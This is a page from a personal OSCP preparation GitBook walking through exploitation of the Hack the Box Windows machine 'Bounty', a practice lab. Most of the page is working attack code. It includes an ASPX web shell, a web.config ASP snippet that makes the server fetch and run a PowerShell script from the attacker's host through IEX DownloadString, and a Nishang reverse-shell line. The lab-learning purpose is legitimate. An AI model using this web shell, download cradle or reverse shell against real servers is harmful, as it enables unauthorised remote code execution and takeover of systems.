📗
OSCP Prep
  • OSCP Preperation
  • Hack the Box Linux
    • Bashed
    • Nibbles
    • Sense
    • Conceal
    • La Casa de Papel
    • Lightweight
    • Jerry
      • Scanning and Enumeration
    • Jarvis
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lesson's Learned
    • TartarSauce
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Poison
      • Turning LFI into RFI
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Node(Comeback to)
      • Scanning and Enumeration
      • Exploitation
    • SolidState
      • Scanning and Enumeration
      • Exploitation and POSTY
      • Lessons Learned
    • Nineveh
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Cronos
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • SwagShop
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Networked
      • Exploitation
    • FriendZoned
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Sunday
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Valentine
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Irked
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Kotarak
    • Nibbles
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
  • Hack the Box Windows
    • Bounty
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Blue
      • Scanning and Enumeration
      • Lessons Learned
    • Granny
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Grandpa
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Arctic
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Optimum
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Devel
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Legacy (comeback to )
      • Scanning and Enumeration
      • Exploitation
  • Slick Tricks
    • Banned by Bruteforce? Try this!
    • Hydra for Web Logins
    • Grepping
    • Redirecting all Script Traffic to Burp
    • Word Count
    • Reverse Shell Tricks
    • Transfering files
  • Nmap Help
  • Linux Guide
    • Linux Shortcuts
  • Privelege Escalation
    • Linux Privilege Escalation
Powered by GitBook
On this page
  • Executing Commands via created script
  • Establishing Reverse Shell

Was this helpful?

  1. Hack the Box Windows
  2. Bounty

Exploitation

PreviousScanning and EnumerationNextPost Exploitation

Last updated 4 years ago

Was this helpful?

Based on the information from before, we know that we can execute aspx. This was done through math which proves itself from the loaded page from before Lets upload a shell.

Executing Commands via created script

Create a file called web.aspx with the following code. 

<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("")
o = cmd.StdOut.Readall()
Response.write(o)
%>

Next add that code to the end of the config file we created earlier

Set up a icmp listenin on our attack machine to see if there is communication between the server and us.

kali@kali:~$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
14:10:37.180009 IP 10.10.10.93 > 10.10.14.34: ICMP echo request, id 1, seq 1, length 40
14:10:37.180028 IP 10.10.14.34 > 10.10.10.93: ICMP echo reply, id 1, seq 1, length 40
14:10:38.187828 IP 10.10.10.93 > 10.10.14.34: ICMP echo request, id 1, seq 2, length 40
14:10:38.187846 IP 10.10.14.34 > 10.10.10.93: ICMP echo reply, id 1, seq 2, length 40
14:10:39.185159 IP 10.10.10.93 > 10.10.14.34: ICMP echo request, id 1, seq 3, length 40
14:10:39.185177 IP 10.10.14.34 > 10.10.10.93: ICMP echo reply, id 1, seq 3, length 40
14:10:40.184495 IP 10.10.10.93 > 10.10.14.34: ICMP echo request, id 1, seq 4, length 40
14:10:40.184509 IP 10.10.14.34 > 10.10.10.93: ICMP echo reply, id 1, seq 4, length 40

The server is communicating with us. That is good news.

Establishing Reverse Shell

At the bottom of the shell.ps1 script set up your listener with the following code.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.34 -Port 1234

Modified config file that will download our shell. This creates and object instance of a Windows shell. Then we use this instance to invoke Powershell in order to download the Powershell TCP shell from our exploit machine.

<%
Set obj = CreateObject("WScript.Shell")
obj.Exec("cmd /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.34:5555/shell.ps1')")
%>

LogoGitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security.GitHub
Established connection